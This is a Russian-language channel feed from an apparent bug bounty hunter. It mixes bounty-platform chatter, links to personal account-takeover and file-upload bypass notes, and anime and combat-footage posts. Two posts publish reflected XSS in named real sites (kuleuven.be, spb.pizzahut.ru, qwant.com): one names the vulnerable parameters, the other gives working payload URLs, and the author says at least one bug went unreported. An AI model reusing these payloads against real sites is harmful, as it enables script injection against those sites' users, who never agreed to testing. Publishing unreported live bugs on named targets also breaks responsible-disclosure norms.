ScriptKiddieNotes

Парни с bugbounty.ru прислали сет "script kiddie". После примерки получил +10 хакенга и +5 удачи к статам. Спасибо :3 #bb

Наглядный чек-лист для проверки форм загрузок. Тоже сохранил для себя. Плюс https://book.hacktricks.xyz/pentesting-web/file-upload #bb

https://t.me/standoff_365/16 Прослоупочил выкат ВКшечкой своей бб на bugbounty.standoff365.com Ололо, набигаем, посоны. #bb

Залутал немного денях на пивко. Спасибо bugbounty.ru #bb

Стараюсь переориентироваться под новые условия. Адаптируйся или умри, так, кажется, говорится. Да, маловато, но щито поделать. Пожелаем парням удачи. https://bugbounty.standoff365.com/ https://bugbounty.ru/ https://bi.zone/ (Пока еще вроде не открылись) Дропнул h1 и bc - обходить их анальные ограничения, скорее всего ненавидеть себя. Пусть они гонятся за вашим временем и знаниями, чем вы за их деньгами. Уважайте себя. Разве что еще g/vrp остался. Тут платят, инфа 100% #bb

Охуеть, ящитаю. #combatfootage

https://github.com/lalkaltest/ATO/blob/main/README.md Мои личные заметки по Account Takeover + частично Rate limit Bypass. В принципе, полезно, сам частенько заглядываю туда. Ну и да, лучше тупой карандаш, чем острая память. #bb

https://telegra.ph/razrabotka-prostogo-prilozheniya-pod-Flipper-Zero-05-15 #bb

Я не понимаю. Зачем они закидывают инвайтами, если все равно не платят. Это такой толстый троллинг? #bb

#anime

#anime

Мои личные заметки по обходу форм загрузок c подборкой полезныx материалов. https://raw.githubusercontent.com/lalkaltest/FU/main/README.md #bb

народ-затейник, народ-кулибин #combatfootage #кжхдпп

Ну поскольку всем похуй, вот такие ответы, в моем понимании, на предыдущий пост. 1. https://www.kuleuven.be/communicatie/php/toga/?lang=1</Script/><Svg/OnLoad=(confirm)(document.domain)> 2. https://spb.pizzahut.ru/?coupon[]='-alert(1)-' 3. https://www.qwant.com/?r=FR&sr=fr&l=fr_</script><script>myObj.prop =''-alert(document.domain);var myObj='';</script> Hint: Домен qwant.com вроде есть на yeswehack до сих пор, так что можете срубить за XSS баксов 500$. Лично я попытался там вывести денюжки по другим репортам, но уткнулся в сложности. Поэтому даже репортить не стал. Ну и пусть нахуй идут. #bb

Оглядываясь назад, решил вспомнить, с чего же я начинал. Пролистав историю репортов в самое начало - вздохнул с облегчением. Как и любой порядочный скрипткид я вступил на кривую дорожку багхантинга с Duplicate, а потом и закономерными N/A. Забавно, что это был ок.ru - я на нем никогда не сидел(честно), но ручки почему-то потянулись тестить туда. Но, кажется уже тогда понимал, что self XSS это хуйня(Вот что Античат с людьми делает). Но интерес зарепортить первый баг перевесил сомнения в целесообразности. Такие дела. #bb

Сегодня, по странному стечению обстоятельств, день XSS. Мой дружаня закидал меня вопросами по XSS, поэтому предлагаю вам челлендж в боевых условиях. От легкого к сложному. 1. https://www.kuleuven.be/communicatie/php/toga/?lang= Параметр lang уязвим. 2. https://spb.pizzahut.ru/?coupon[]= Параметр coupon[] уязвим. 3. https://www.qwant.com/?r=FR&sr=fr&l=fr_ Параметр l уязвим. Тот кто первый решит, получит от меня нихуя, коуб с Паймон. #bb

Отловил stored XSS на https://business.tinkoff.ru, например. Зарепортил. Надеюсь, что какой-то ловкий хакер не обогнал на повороте скромного скрипткидисса. #bb

Заорал в голосяндру #аниме

Лучшая машина. CУ-25 #combatfootage

У меня тут раритет. Такое просто так не нагуглишь. Спецназ в Афганистане. Забытая война, никому ненужная, как и те парни. #combatfootge